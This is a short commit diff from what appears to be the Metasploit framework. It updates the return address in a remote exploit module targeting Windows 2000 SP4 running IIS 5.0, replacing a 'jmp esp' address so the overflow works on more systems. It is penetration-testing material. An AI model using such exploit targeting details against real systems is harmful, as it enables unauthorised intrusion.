Updated return address from Stephen Fewer, should work for a wider range now
git-svn-id: file:///home/svn/framework3/trunk@6994 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
251810685f
commit
41ab69c600
|
@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Windows 2000 SP4 English/Italian (IIS 5.0)',
|
'Windows 2000 SP4 English/Italian (IIS 5.0)',
|
||||||
{
|
{
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Ret' => 0x77e3c256, # jmp esp in user32 SP4 EN/IT
|
'Ret' => 0x773d24eb, # jmp esp in activeds.dll (English / 5.0.2195.6601)
|
||||||
'Patch' => 0x7ffd7ffd # works for off-by-two alignment
|
'Patch' => 0x7ffd7ffd # works for off-by-two alignment
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
|
|
Loading…
Reference in New Issue